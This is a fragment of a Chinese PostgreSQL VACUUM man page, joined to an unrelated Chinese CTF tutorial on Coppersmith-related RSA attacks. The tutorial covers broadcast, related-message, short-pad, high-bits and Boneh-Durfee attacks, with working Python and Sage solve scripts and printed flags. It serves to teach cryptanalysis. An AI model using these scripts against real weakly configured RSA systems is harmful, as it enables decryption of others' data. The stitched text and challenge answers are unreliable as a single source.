\fB\fIcolumn\fB\fR
要分析的具体的列/字段名称。缺省是所有列/字段。
.SH "OUTPUTS 输出"
.PP
如果声明了 VERBOSE，VACUUM 发出过程信息， 以表明当前正在处理那个表。各种有关这些表的统计也会打印出来。
.SH "NOTES 注意"
.PP
我们建议在经常VACUUMM（清理）（至少每晚一次）生产数据库， 以保证不断地删除失效的行。尤其是在增删了大量记录之后， 对受影响的表执行 VACUUM ANALYZE 命令是一个很好的习惯。这样做将更新系统目录为最近的更改，并且允许 PostgreSQL 查询优化器在规划用户查询时有更好的选择。
.PP
我们不建议日常使用 FULL 选项，但是可以在特殊情况下使用。 一个例子就是在你删除了一个表的大部分行之后，希望从物理上缩小该表以减少磁盘空间占用。VACUUM FULL 通常要比单纯的 VACUUM 收缩更多表的尺寸。
.SH "EXAMPLES 例子"
.PP
下面是一个在 regression （蜕变）数据库里某个表上执行 VACUUM的一个例子：
.sp
.nf
regression=# VACUUM VERBOSE ANALYZE onek;
INFO: vacuuming "public.onek"
INFO: index "onek_unique1" now contains 1000 tuples in 14 pages
DETAIL: 3000 index tuples were removed.
0 index pages have been deleted, 0 are currently reusable.
CPU 0.01s/0.08u sec elapsed 0.18 sec.
INFO: index "onek_unique2" now contains 1000 tuples in 16 pages
DETAIL: 3000 index tuples were removed.
0 index pages have been deleted, 0 are currently reusable.
CPU 0.00s/0.07u sec elapsed 0.23 sec.
INFO: index "onek_hundred" now contains 1000 tuples in 13 pages
DETAIL: 3000 index tuples were removed.
0 index pages have been deleted, 0 are currently reusable.
CPU 0.01s/0.08u sec elapsed 0.17 sec.
INFO: index "onek_stringu1" now contains 1000 tuples in 48 pages
DETAIL: 3000 index tuples were removed.
0 index pages have been deleted, 0 are currently reusable.
CPU 0.01s/0.09u sec elapsed 0.59 sec.
INFO: "onek": removed 3000 tuples in 108 pages
DETAIL: CPU 0.01s/0.06u sec elapsed 0.07 sec.
INFO: "onek": found 3000 removable, 1000 nonremovable tuples in 143 pages
DETAIL: 0 dead tuples cannot be removed yet.
There were 0 unused item pointers.
0 pages are entirely empty.
CPU 0.07s/0.39u sec elapsed 1.56 sec.
INFO: analyzing "public.onek"
INFO: "onek": 36 pages, 1000 rows sampled, 1000 estimated total rows
VACUUM
.sp
.fi
.SH "COMPATIBILITY 兼容性"
.PP
SQL 标准里没有 VACUUM 语句。
.SH "SEE ALSO 参见"
vacuumdb [\fBvacuumdb\fR(1)]
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
# Coppersmith 相关攻击
## 基本原理
Coppersmith 相关攻击与[Don Coppersmith](https://en.wikipedia.org/wiki/Don_Coppersmith) 紧密相关，他提出了一种针对于模多项式（单变量，二元变量，甚至多元变量）找所有小整数根的多项式时间的方法。
这里我们以单变量为主进行介绍，假设
- 模数为 N ，N 具有一个因子 $b\geq N^{\beta},0< \beta \leq 1$
- 多项式 F 的次数为 $\delta$
那么该方法可以在$O(c\delta^5log^9(N))$ 的复杂度内找到该多项式所有的根$x_0$，这里我们要求 $|x_0|<cN^{\frac{\beta^2}{\delta}}$ 。
在这个问题中，我们的目标是找到在模 N 意义下多项式所有的根，这一问题被认为是复杂的。**Coppersmith method** 主要是通过 [Lenstra–Lenstra–Lovász lattice basis reduction algorithm](https://en.wikipedia.org/wiki/Lenstra%E2%80%93Lenstra%E2%80%93Lov%C3%A1sz_lattice_basis_reduction_algorithm)（LLL）方法找到
- 与该多项式具有相同根 $x_0$
- 更小系数
- 定义域为整数域
的多项式 g，由于在整数域上找多项式的根是简单的（Berlekamp–Zassenhaus），从而我们就得到了原多项式在模意义下的整数根。
那么问题的关键就是如何将 f 转换到 g 呢？Howgrave-Graham 给出了一种思路
也就是说我们需要找到一个具有“更小系数”的多项式 g，也就是下面的转换方式
在 LLL 算法中，有两点是非常有用的
- 只对原来的基向量进行整数线性变换，这可以使得我们在得到 g 时，仍然以原来的 $x_0$ 为根。
- 生成的新的基向量的模长是有界的，这可以使得我们利用 Howgrave-Graham 定理。
在这样的基础之上，我们再构造出多项式族 g 就可以了。
关于更加细节的内容，请自行搜索。同时这部分内容也会不断更新。
需要注意的是，由于 Coppersmith 根的约束，在 RSA 中的应用时，往往只适用于 e 较小的情况。
## Basic Broadcast Attack
### 攻击条件
如果一个用户使用同一个加密指数 e 加密了同一个密文，并发送给了其他 e 个用户。那么就会产生广播攻击。这一攻击由 Håstad 提出。
### 攻击原理
这里我们假设 e 为 3，并且加密者使用了三个不同的模数 $n_1,n_2,n_3$ 给三个不同的用户发送了加密后的消息 m，如下
$$
\begin{align*}
c_1&=m^3\bmod n_1 \\
c_2&=m^3\bmod n_2 \\
c_3&=m^3\bmod n_3
\end{align*}
$$
这里我们假设 $n_1,n_2,n_3$ 互素，不然，我们就可以直接进行分解，然后得到 d，进而然后直接解密。
同时，我们假设 $m<n_i, 1\leq i \leq 3$。如果这个条件不满足的话，就会使得情况变得比较复杂，这里我们暂不讨论。
既然他们互素，那么我们可以根据中国剩余定理，可得$m^3 \equiv C \bmod n_1n_2n_3$。
此外，既然 $m<n_i, 1\leq i \leq 3$，那么我们知道 $m^3 < n_1n_2n_3$ 并且 $C<m^3 < n_1n_2n_3$，那么 $m^3 = C$，我们对 C 开三次根即可得到 m 的值。
对于较大的 e 来说，我们只是需要更多的明密文对。
### SCTF RSA3 LEVEL4
参考 http://ohroot.com/2016/07/11/rsa-in-ctf。
这里我们以 SCTF RSA3 中的 level4 为例进行介绍，首先编写代码提取 cap 包中的数据，如下
```shell
#!/usr/bin/env python
from scapy.all import *
import zlib
import struct
PA = 24
packets = rdpcap('./syc_security_system_traffic3.pcap')
client = '192.168.1.180'
list_n = []
list_m = []
list_id = []
data = []
for packet in packets:
# TCP Flag PA 24 means carry data
if packet[TCP].flags == PA or packet[TCP].flags == PA + 1:
src = packet[IP].src
raw_data = packet[TCP].load
head = raw_data.strip()[:7]
if head == "We have":
n, e = raw_data.strip().replace("We have got N is ",
"").split('\ne is ')
data.append(n.strip())
if head == "encrypt":
m = raw_data.replace('encrypted messages is 0x', '').strip()
data.append(str(int(m, 16)))
with open('./data.txt', 'w') as f:
for i in range(0, len(data), 2):
tmp = ','.join(s for s in data[i:i + 2])
f.write(tmp + '\n')
```
其次，利用得到的数据直接使用中国剩余定理求解。
```python
from functools import reduce
import gmpy
import json, binascii
def modinv(a, m):
return int(gmpy.invert(gmpy.mpz(a), gmpy.mpz(m)))
def chinese_remainder(n, a):
sum = 0
prod = reduce(lambda a, b: a * b, n)
# 并行运算
for n_i, a_i in zip(n, a):
p = prod // n_i
sum += a_i * modinv(p, n_i) * p
return int(sum % prod)
nset = []
cset = []
with open("data.txt") as f:
now = f.read().strip('\n').split('\n')
for item in now:
item = item.split(',')
nset.append(int(item[0]))
cset.append(int(item[1]))
m = chinese_remainder(nset, cset)
m = int(gmpy.mpz(m).root(19)[0])
print binascii.unhexlify(hex(m)[2:-1])
```
得到密文，然后再次解密即可得到 flag。
```shell
H1sTaDs_B40aDcadt_attaCk_e_are_same_and_smA9l
```
### 题目
- 2017 WHCTF OldDriver
- 2018 N1CTF easy_fs
## Broadcast Attack with Linear Padding
对于具有线性填充的情况下，仍然可以攻击，这时候就会使用 **Coppersmith method** 的方法了，这里暂不介绍。可以参考
- https://en.wikipedia.org/wiki/Coppersmith%27s_attack#Generalizations
## Related Message Attack
### 攻击条件
当 Alice 使用同一公钥对两个具有某种线性关系的消息 M1 与 M2 进行加密，并将加密后的消息 C1，C2 发送给了 Bob 时，我们就可能可以获得对应的消息 M1 与 M2。这里我们假设模数为 N，两者之间的线性关系如下
$$
M_1 \equiv f(M_2) \bmod N
$$
其中 f 为一个线性函数，比如说 $f=ax+b$。
在具有较小错误概率下的情况下，其复杂度为 $O(elog^2N)$。
这一攻击由 Franklin，Reiter 提出。
### 攻击原理
首先，我们知道 $C_1 \equiv M_1 ^e \bmod N$，并且 $M_1 \equiv f(M_2) \bmod N$，那么我们可以知道 $M_2$ 是 $f(x)^e \equiv C_1 \bmod N$ 的一个解，即它是方程 $f(x)^e-C_1$ 在模 N 意义下的一个根。同样的，$M_2$ 是 $x^e - C_2$ 在模 N 意义下的一个根。所以说 $x-M_2$ 同时整除以上两个多项式。因此，我们可以求得两个多项式的最大公因子，如果最大公因子恰好是线性的话，那么我们就求得了 $M_2$。需要注意的是，在 $e=3$ 的情况下，最大公因子一定是线性的。
这里我们关注一下 $e=3$，且 $f(x)=ax+b$ 的情况。首先我们有
$$
C_1 \equiv M_1 ^3 \bmod N,M_1 \equiv aM_2+b \bmod N
$$
那么我们有
$$
C_1 \equiv (aM_2+b)^3 \bmod N,C_2 \equiv M_2^3 \bmod N
$$
我们需要明确一下我们想要得到的是消息 m，所以需要将其单独构造出来。
首先，我们有式 1
$$
(aM_2+b)^3=a^3M_2^3+3a^2M^2b+3aM_2b^2+b^3
$$
再者我们构造如下式 2
$$
(aM_2)^3-b^3 \equiv (aM_2-b)(a^2M_2^2+aM_2b+b^2) \bmod N
$$
根据式 1 我们有
$$
a^3M_2^3-2b^3+3b(a^2M_2^2+aM_2b+b^2) \equiv C_1 \bmod N
$$
继而我们有式 3
$$
3b(a^2M_2^2+aM_2b+b^2) \equiv C_1-a^3C_2+2b^3 \bmod N
$$
那么我们根据式 2 与式 3 可得
$$
(a^3C_2-b^3)*3b \equiv (aM_2-b)( C_1-a^3C_2+2b^3 ) \bmod N
$$
进而我们有
$$
aM_2-b=\frac{3a^3bC_2-3b^4}{C_1-a^3C_2+2b^3}
$$
进而
$$
aM_2\equiv \frac{2a^3bC_2-b^4+C_1b}{C_1-a^3C_2+2b^3}
$$
进而
$$
M_2 \equiv\frac{2a^3bC_2-b^4+C_1b}{aC_1-a^4C_2+2ab^3}=\frac{b}{a}\frac{C_1+2a^3C_2-b^3}{C_1-a^3C_2+2b^3}
$$
上面的式子中右边所有的内容都是已知的内容，所以我们可以直接获取对应的消息。
有兴趣的可以进一步阅读 [A New Related Message Attack on RSA](https://www.iacr.org/archive/pkc2005/33860001/33860001.pdf) 以及 [paper](https://www.cs.unc.edu/~reiter/papers/1996/Eurocrypt.pdf) 这里暂不做过多的讲解。
### SCTF RSA3
这里我们以 SCTF RSA3 中的 level3 为例进行介绍。首先，跟踪 TCP 流可以知道，加密方式是将明文加上用户的 user id 进行加密，而且还存在多组。这里我们选择第 0 组和第 9 组，他们的模数一样，解密脚本如下
```python
import gmpy2
id1 = 1002
id2 = 2614
c1 = 0x547995f4e2f4c007e6bb2a6913a3d685974a72b05bec02e8c03ba64278c9347d8aaaff672ad8460a8cf5bffa5d787c5bb724d1cee07e221e028d9b8bc24360208840fbdfd4794733adcac45c38ad0225fde19a6a4c38e4207368f5902c871efdf1bdf4760b1a98ec1417893c8fce8389b6434c0fee73b13c284e8c9fb5c77e420a2b5b1a1c10b2a7a3545e95c1d47835c2718L
c2 = 0x547995f4e2f4c007e6bb2a6913a3d685974a72b05bec02e8c03ba64278c9347d8aaaff672ad8460a8cf5bffa5d787c72722fe4fe5a901e2531b3dbcb87e5aa19bbceecbf9f32eacefe81777d9bdca781b1ec8f8b68799b4aa4c6ad120506222c7f0c3e11b37dd0ce08381fabf9c14bc74929bf524645989ae2df77c8608d0512c1cc4150765ab8350843b57a2464f848d8e08L
n = 25357901189172733149625332391537064578265003249917817682864120663898336510922113258397441378239342349767317285221295832462413300376704507936359046120943334215078540903962128719706077067557948218308700143138420408053500628616299338204718213283481833513373696170774425619886049408103217179262264003765695390547355624867951379789924247597370496546249898924648274419164899831191925127182066301237673243423539604219274397539786859420866329885285232179983055763704201023213087119895321260046617760702320473069743688778438854899409292527695993045482549594428191729963645157765855337481923730481041849389812984896044723939553
a = 1
b = id1 - id2
def getmessage(a, b, c1, c2, n):
b3 = gmpy2.powmod(b, 3, n)
part1 = b * (c1 + 2 * c2 - b3) % n
part2 = a * (c1 - c2 + 2 * b3) % n
part2 = gmpy2.invert(part2, n)
return part1 * part2 % n
message = getmessage(a, b, c1, c2, n) - id2
message = hex(message)[2:]
if len(message) % 2 != 0:
message = '0' + message
print message.decode('hex')
```
得到明文
```shell
➜ sctf-rsa3-level3 git:(master) ✗ python exp.py
F4An8LIn_rElT3r_rELa53d_Me33Age_aTtaCk_e_I2_s7aLL
```
当然，我们也可以直接使用 sage 来做，会更加简单一点。
```python
import binascii
def attack(c1, c2, b, e, n):
PR.<x>=PolynomialRing(Zmod(n))
g1 = x^e - c1
g2 = (x+b)^e - c2
def gcd(g1, g2):
while g2:
g1, g2 = g2, g1 % g2
return g1.monic()
return -gcd(g1, g2)[0]
c1 = 0x547995f4e2f4c007e6bb2a6913a3d685974a72b05bec02e8c03ba64278c9347d8aaaff672ad8460a8cf5bffa5d787c5bb724d1cee07e221e028d9b8bc24360208840fbdfd4794733adcac45c38ad0225fde19a6a4c38e4207368f5902c871efdf1bdf4760b1a98ec1417893c8fce8389b6434c0fee73b13c284e8c9fb5c77e420a2b5b1a1c10b2a7a3545e95c1d47835c2718L
c2 = 0x547995f4e2f4c007e6bb2a6913a3d685974a72b05bec02e8c03ba64278c9347d8aaaff672ad8460a8cf5bffa5d787c72722fe4fe5a901e2531b3dbcb87e5aa19bbceecbf9f32eacefe81777d9bdca781b1ec8f8b68799b4aa4c6ad120506222c7f0c3e11b37dd0ce08381fabf9c14bc74929bf524645989ae2df77c8608d0512c1cc4150765ab8350843b57a2464f848d8e08L
n = 25357901189172733149625332391537064578265003249917817682864120663898336510922113258397441378239342349767317285221295832462413300376704507936359046120943334215078540903962128719706077067557948218308700143138420408053500628616299338204718213283481833513373696170774425619886049408103217179262264003765695390547355624867951379789924247597370496546249898924648274419164899831191925127182066301237673243423539604219274397539786859420866329885285232179983055763704201023213087119895321260046617760702320473069743688778438854899409292527695993045482549594428191729963645157765855337481923730481041849389812984896044723939553
e=3
a = 1
id1 = 1002
id2 = 2614
b = id2 - id1
m1 = attack(c1,c2, b,e,n)
print binascii.unhexlify("%x" % int(m1 - id1))
```
结果如下
```shell
➜ sctf-rsa3-level3 git:(master) ✗ sage exp.sage
sys:1: RuntimeWarning: not adding directory '' to sys.path since everybody can write to it.
Untrusted users could put files in this directory which might then be imported by your Python code. As a general precaution from similar exploits, you should not execute Python code from this directory
F4An8LIn_rElT3r_rELa53d_Me33Age_aTtaCk_e_I2_s7aLL
```
### 题目
- hitcon 2014 rsaha
- N1CTF 2018 rsa_padding
## Coppersmith’s short-pad attack
### 攻击条件
目前在大部分消息加密之前都会进行 padding，但是如果 padding 的长度过短，也有**可能**被很容易地攻击。
这里所谓 padding 过短，其实就是对应的多项式的根会过小。
### 攻击原理
我们假设爱丽丝要给鲍勃发送消息，首先爱丽丝对要加密的消息 M 进行随机 padding，然后加密得到密文 C1，发送给鲍勃。这时，中间人皮特截获了密文。一段时间后，爱丽丝没有收到鲍勃的回复，再次对要加密的消息 M 进行随机 padding，然后加密得到密文 C2，发送给 Bob。皮特再一次截获。这时，皮特就**可能**可以利用如下原理解密。
这里我们假设模数 N 的长度为 k，并且 padding 的长度为 $m=\lfloor \frac{k}{e^2} \rfloor$。此外，假设要加密的消息的长度最多为 k-m 比特，padding 的方式如下
$$
M_1=2^mM+r_1, 0\leq r_1\leq 2^m
$$
消息 M2 的 padding 方式类似。
那么我们可以利用如下的方式来解密。
首先定义
$$
g_1(x,y)=x^e-C_1
g_2(x,y)=(x+y)^e-C_2
$$
其中 $y=r_2-r_1$。显然这两个方程具有相同的根 M1。然后还有一系列的推导。
## Known High Bits Message Attack
### 攻击条件
这里我们假设我们首先加密了消息 m，如下
$$
C\equiv m^d \bmod N
$$
并且我们假设我们知道消息 m 的很大的一部分 $m_0$，即 $m=m_0+x$，但是我们不知道 $x$。那么我们就有可能通过该方法进行恢复消息。这里我们不知道的 x 其实就是多项式的根，需要满足 Coppersmith 的约束。
可以参考 https://github.com/mimoo/RSA-and-LLL-attacks。
## Factoring with High Bits Known
### 攻击条件
当我们知道一个公钥中模数 N 的一个因子的较高位时，我们就有一定几率来分解 N。
### 攻击工具
请参考 https://github.com/mimoo/RSA-and-LLL-attacks。上面有使用教程。关注下面的代码
```python
beta = 0.5
dd = f.degree()
epsilon = beta / 7
mm = ceil(beta**2 / (dd * epsilon))
tt = floor(dd * mm * ((1/beta) - 1))
XX = ceil(N**((beta**2/dd) - epsilon)) + 1000000000000000000000000000000000
roots = coppersmith_howgrave_univariate(f, N, beta, mm, tt, XX)
```
其中，
- 必须满足 $q\geq N^{beta}$，所以这里给出了$beta=0.5$，显然两个因数中必然有一个是大于的。
- XX 是 $f(x)=q'+x$ 在模 q 意义下的根的上界，自然我们可以选择调整它，这里其实也表明了我们已知的 $q'$ 与因数 q 之间可能的差距。
### 2016 HCTF RSA2
这里我们以 2016 年 HCTF 中的 RSA2 为例进行介绍。
首先程序的开头是一个绕过验证的，绕过即可，代码如下
```python
from pwn import *
from hashlib import sha512
sh = remote('127.0.0.1', 9999)
context.log_level = 'debug'
def sha512_proof(prefix, verify):
i = 0
pading = ""
while True:
try:
i = randint(0, 1000)
pading += str(i)
if len(pading) > 200:
pading = pading[200:]
#print pading
except StopIteration:
break
r = sha512(prefix + pading).hexdigest()
if verify in r:
return pading
def verify():
sh.recvuntil("Prefix: ")
prefix = sh.recvline()
print len(prefix)
prefix = prefix[:-1]
prefix = prefix.decode('base64')
proof = sha512_proof(prefix, "fffffff")
sh.send(proof.encode('base64'))
if __name__ == '__main__':
verify()
print 'verify success'
sh.recvuntil("token: ")
token = "5c9597f3c8245907ea71a89d9d39d08e"
sh.sendline(token)
sh.recvuntil("n: ")
n = sh.readline().strip()
n = int(n[2:], 16)
sh.recvuntil("e: ")
e = sh.readline().strip()
e = int(e[2:], 16)
sh.recvuntil("e2: ")
e2 = sh.readline().strip()
e2 = int(e2[2:], 16)
sh.recvuntil("is: ")
enc_flag = sh.readline().strip()
enc_flag = int(enc_flag[2:-1], 16)
print "n: ", hex(n)
print "e: ", hex(e)
print "e2: ", hex(e2)
print "flag: ", hex(enc_flag)
```
这里我们也已经得到 n，e，e2，加密后的 flag 了，如下
```python
n: 0x724d41149e1bd9d2aa9b333d467f2dfa399049a5d0b4ee770c9d4883123be11a52ff1bd382ad37d0ff8d58c8224529ca21c86e8a97799a31ddebd246aeeaf0788099b9c9c718713561329a8e529dfeae993036921f036caa4bdba94843e0a2e1254c626abe54dc3129e2f6e6e73bbbd05e7c6c6e9f44fcd0a496f38218ab9d52bf1f266004180b6f5b9bee7988c4fe5ab85b664280c3cfe6b80ae67ed8ba37825758b24feb689ff247ee699ebcc4232b4495782596cd3f29a8ca9e0c2d86ea69372944d027a0f485cea42b74dfd74ec06f93b997a111c7e18017523baf0f57ae28126c8824bd962052623eb565cee0ceee97a35fd8815d2c5c97ab9653c4553f
e: 0x10001
e2: 0xf93b
flag: 0xf11e932fa420790ca3976468dc4df1e6b20519ebfdc427c09e06940e1ef0ca566d41714dc1545ddbdcae626eb51c7fa52608384a36a2a021960d71023b5d0f63e6b38b46ac945ddafea42f01d24cc33ce16825df7aa61395d13617ae619dca2df15b5963c77d6ededf2fe06fd36ae8c5ce0e3c21d72f2d7f20cd9a8696fbb628df29299a6b836c418cbfe91e2b5be74bdfdb4efdd1b33f57ebb72c5246d5dce635529f1f69634d565a631e950d4a34a02281cbed177b5a624932c2bc02f0c8fd9afd332ccf93af5048f02b8bd72213d6a52930b0faa0926973883136d8530b8acf732aede8bb71cb187691ebd93a0ea8aeec7f82d0b8b74bcf010c8a38a1fa8
```
接下来我们来分析主程序。可以看出
```python
p, q, e = gen_key()
n = p * q
phi_n = (p-1)*(q-1)
d = invmod(e, phi_n)
while True:
e2 = random.randint(0x1000, 0x10000)
if gcd(e2, phi_n) == 1:
break
```
我们得到的 $n=p \times q$。而 p，q 以及我们已知的 e 都在 `gen_key` 函数中生成。看一看 `gen_key` 函数
```python
def gen_key():
while True:
p = getPrime(k/2)
if gcd(e, p-1) == 1:
break
q_t = getPrime(k/2)
n_t = p * q_t
t = get_bit(n_t, k/16, 1)
y = get_bit(n_t, 5*k/8, 0)
p4 = get_bit(p, 5*k/16, 1)
u = pi_b(p4, 1)
n = bytes_to_long(long_to_bytes(t) + long_to_bytes(u) + long_to_bytes(y))
q = n / p
if q % 2 == 0:
q += 1
while True:
if isPrime(q) and gcd(e, q-1) == 1:
break
m = getPrime(k/16) + 1
q ^= m
return (p, q, e)
```
其中我们已知如下参数
$$
k=2048
e=0x10001
$$
首先，程序先得到了 1024 比特位的素数 p，并且 `gcd(2,p-1)=1`。
然后，程序又得到了一个 1024 比特位的素数 $q_t$，并且计算 $n_t=p \times q_t$。
下面多次调用了 `get_bit` 函数，我们来简单分析一下
```python
def get_bit(number, n_bit, dire):
'''
dire:
1: left
0: right
'''
if dire:
sn = size(number)
if sn % 8 != 0:
sn += (8 - sn % 8)
return number >> (sn-n_bit)
else:
return number & (pow(2, n_bit) - 1)
```
可以看出根据 `dire(ction)` 的不同，会得到不同的数
- `dire=1` 时，程序首先计算 `number` 的二进制位数 `sn`，如果不是 8 的整数倍的话，就将 `sn` 增大为 8 的整数倍，然后返回 `number` 右移 `sn-n_bit` 的数字。其实 就是最多保留 `number` 的 `n_bit` 位。
- `dire=0` 时，程序直接获取 `number` 的低 `n_bit` 位。
然后我们再来看程序
```python
t = get_bit(n_t, k/16, 1)
y = get_bit(n_t, 5*k/8, 0)
p4 = get_bit(p, 5*k/16, 1)
```
这三个操作分别做了如下的事情
- `t` 为 `n_t` 的最多高 k/16 位，即 128 位，位数不固定。
- `y` 为 `n_t` 的低 5*k/8 位，即 1280 位，位数固定。
- `p4` 为 p 的最多高 5*k/16 位，即 640 位，位数不固定。
此后，程序有如下操作
```python
u = pi_b(p4, 1)
```
利用 `pi_b` 对 `p4` 进行了加密
```python
def pi_b(x, m):
'''
m:
1: encrypt
0: decrypt
'''
enc = DES.new(key)
if m:
method = enc.encrypt
else:
method = enc.decrypt
s = long_to_bytes(x)
sp = [s[a:a+8] for a in xrange(0, len(s), 8)]
r = ""
for a in sp:
r += method(a)
return bytes_to_long(r)
```
其中，我们已知了密钥 key，所以只要我们有密文就可以解密。此外，可以看到的是程序是对传入的消息进行 8 字节分组，采用密码本方式加密，所以密文之间互不影响。
下面
```python
n = bytes_to_long(long_to_bytes(t) + long_to_bytes(u) + long_to_bytes(y))
q = n / p
if q % 2 == 0:
q += 1
while True:
if isPrime(q) and gcd(e, q-1) == 1:
break
m = getPrime(k/16) + 1
q ^= m
return (p, q, e)
```
程序将 t，u，y 拼接在一起得到 n，进而，程序得到了 q，并对 q 的低 k/16 位做了抑或，然后返回 `q'`。
在主程序里，再一次得到了 `n'=p*q'`。这里我们仔细分析一下
```
n'=p * ( q + random(2^{k/16}))
```
而 p 是 k/2 位的，所以说，random 的部分最多可以影响原来的 n 的最低的 $k/2+k/16=9k/16$ 比特位。
而，我们还知道 n 的最低的 5k/8=10k/16 比特为其实就是 y，所以其并没有影响到 u，即使影响到也就最多影响到一位。
所以我们首先可以利用我们得到的 n 来获取 u，如下
```
u=hex(n)[2:-1][-480:-320]
```
虽然，这样可能会获得较多位数的 u，但是这样并不影响，我们对 u 解密的时候每一分组都互不影响，所以我们只可能影响最高位数的 p4。而 p4 的的高 8 位也有可能是填充的。但这也并不影响，我们已经得到了因子 p 的的很多部分了，我们可以去尝试着解密了。如下
```python
if __name__=="__main__":
n = 0x724d41149e1bd9d2aa9b333d467f2dfa399049a5d0b4ee770c9d4883123be11a52ff1bd382ad37d0ff8d58c8224529ca21c86e8a97799a31ddebd246aeeaf0788099b9c9c718713561329a8e529dfeae993036921f036caa4bdba94843e0a2e1254c626abe54dc3129e2f6e6e73bbbd05e7c6c6e9f44fcd0a496f38218ab9d52bf1f266004180b6f5b9bee7988c4fe5ab85b664280c3cfe6b80ae67ed8ba37825758b24feb689ff247ee699ebcc4232b4495782596cd3f29a8ca9e0c2d86ea69372944d027a0f485cea42b74dfd74ec06f93b997a111c7e18017523baf0f57ae28126c8824bd962052623eb565cee0ceee97a35fd8815d2c5c97ab9653c4553f
u = hex(n)[2:-1][-480:-320]
u = int(u,16)
p4 = pi_b(u,0)
print hex(p4)
```
解密结果如下
```python
➜ 2016-HCTF-RSA2 git:(master) ✗ python exp_p4.py
0xa37302107c17fb4ef5c3443f4ef9e220ac659670077b9aa9ff7381d11073affe9183e88acae0ab61fb75a3c7815ffcb1b756b27c4d90b2e0ada753fa17cc108c1d0de82c747db81b9e6f49bde1362693L
```
下面，我们直接使用 sage 来解密，这里 sage 里面已经实现了这个攻击，我们直接拿来用就好
```python
from sage.all import *
import binascii
n = 0x724d41149e1bd9d2aa9b333d467f2dfa399049a5d0b4ee770c9d4883123be11a52ff1bd382ad37d0ff8d58c8224529ca21c86e8a97799a31ddebd246aeeaf0788099b9c9c718713561329a8e529dfeae993036921f036caa4bdba94843e0a2e1254c626abe54dc3129e2f6e6e73bbbd05e7c6c6e9f44fcd0a496f38218ab9d52bf1f266004180b6f5b9bee7988c4fe5ab85b664280c3cfe6b80ae67ed8ba37825758b24feb689ff247ee699ebcc4232b4495782596cd3f29a8ca9e0c2d86ea69372944d027a0f485cea42b74dfd74ec06f93b997a111c7e18017523baf0f57ae28126c8824bd962052623eb565cee0ceee97a35fd8815d2c5c97ab9653c4553f
p4 =0xa37302107c17fb4ef5c3443f4ef9e220ac659670077b9aa9ff7381d11073affe9183e88acae0ab61fb75a3c7815ffcb1b756b27c4d90b2e0ada753fa17cc108c1d0de82c747db81b9e6f49bde1362693
cipher = 0xf11e932fa420790ca3976468dc4df1e6b20519ebfdc427c09e06940e1ef0ca566d41714dc1545ddbdcae626eb51c7fa52608384a36a2a021960d71023b5d0f63e6b38b46ac945ddafea42f01d24cc33ce16825df7aa61395d13617ae619dca2df15b5963c77d6ededf2fe06fd36ae8c5ce0e3c21d72f2d7f20cd9a8696fbb628df29299a6b836c418cbfe91e2b5be74bdfdb4efdd1b33f57ebb72c5246d5dce635529f1f69634d565a631e950d4a34a02281cbed177b5a624932c2bc02f0c8fd9afd332ccf93af5048f02b8bd72213d6a52930b0faa0926973883136d8530b8acf732aede8bb71cb187691ebd93a0ea8aeec7f82d0b8b74bcf010c8a38a1fa8
e2 = 0xf93b
pbits = 1024
kbits = pbits - p4.nbits()
print p4.nbits()
p4 = p4 << kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p4
roots = f.small_roots(X=2^kbits, beta=0.4)
if roots:
p = p4+int(roots[0])
print "p: ", hex(int(p))
assert n % p == 0
q = n/int(p)
print "q: ", hex(int(q))
print gcd(p,q)
phin = (p-1)*(q-1)
print gcd(e2,phin)
d = inverse_mod(e2,phin)
flag = pow(cipher,d,n)
flag = hex(int(flag))[2:-1]
print binascii.unhexlify(flag)
```
关于 `small_roots` 的使用，可以参考 [SAGE 说明](http://doc.sagemath.org/html/en/reference/polynomial_rings/sage/rings/polynomial/polynomial_modn_dense_ntl.html#sage.rings.polynomial.polynomial_modn_dense_ntl.small_roots)。
结果如下
```shell
➜ 2016-HCTF-RSA2 git:(master) ✗ sage payload.sage
sys:1: RuntimeWarning: not adding directory '' to sys.path since everybody can write to it.
Untrusted users could put files in this directory which might then be imported by your Python code. As a general precaution from similar exploits, you should not execute Python code from this directory
640
p: 0xa37302107c17fb4ef5c3443f4ef9e220ac659670077b9aa9ff7381d11073affe9183e88acae0ab61fb75a3c7815ffcb1b756b27c4d90b2e0ada753fa17cc108c1d0de82c747db81b9e6f49bde13626933aa6762057e1df53d27356ee6a09b17ef4f4986d862e3bb24f99446a0ab2385228295f4b776c1f391ab2a0d8c0dec1e5L
q: 0xb306030a7c6ace771db8adb45fae597f3c1be739d79fd39dfa6fd7f8c177e99eb29f0462c3f023e0530b545df6e656dadb984953c265b26f860b68aa6d304fa403b0b0e37183008592ec2a333c431e2906c9859d7cbc4386ef4c4407ead946d855ecd6a8b2067ad8a99b21111b26905fcf0d53a1b893547b46c3142b06061853L
1
1
hctf{d8e8fca2dc0f896fd7cb4cb0031ba249}
```
### 题目
- 2016 湖湘杯 简单的 RSA
- 2017 WHCTF Untitled
## Boneh and Durfee attack
### 攻击条件
当 d 较小时，满足 $d < N^{0.292}$ 时，我们可以利用该攻击，比 Wiener's Attack 要强一些。
### 攻击原理
这里简单说一下原理。
首先
$$
ed \equiv 1 \bmod \varphi(N)/2
$$
进而有
$$
ed +k\varphi(N)/2=1
$$
即
$$
k \varphi(N)/2 \equiv 1 \bmod e
$$
又
$$
\varphi(N)=(p-1)(q-1)=qp-p-q+1=N-p-q+1
$$
所以
$$
k(N-p-q+1)/2 \equiv 1 \bmod e
$$
假设 $A=\frac{N+1}{2}$，$y=\frac{-p-q}{2}$ ，原式可化为
$$
f(k,y)=k(A+y) \equiv 1 \bmod e
$$
其中
$|k|<\frac{2ed}{\varphi(N)}<\frac{3ed}{N}=3*\frac{e}{N}*d<3*\frac{e}{N}*N^{delta}$
$|y|<2*N^{0.5}$
y 的估计用到了 p、q 比较均匀的假设。这里 delta 为预估的小于 0.292 的值。
如果我们求得了该二元方程的根，那么我们自然也就可以解一元二次方程 $N=pq,p+q=-2y$ 来得到 p 与 q。
更加具体的推导，参考 New Results on the Cryptanalysis of Low Exponent RSA.
### 攻击工具
请参考 https://github.com/mimoo/RSA-and-LLL-attacks 。上面有使用教程。
### 2015 PlaidCTF Curious
这里我们以 2015 年 PlaidCTF Curious 为例进行介绍。
首先题目给了一堆 N，e，c。简单看一下可以发现该 e 比较大。这时候我们可以考虑使用 Wiener's Attack，这里我们使用更强的目前介绍的攻击。
核心代码如下
```python
nlist = list()
elist = list()
clist = list()
with open('captured') as f:
# read the line {N : e : c} and do nothing with it
f.readline()
for i in f.readlines():
(N, e, c) = i[1:-2].split(" : ")
nlist.append(long(N,16))
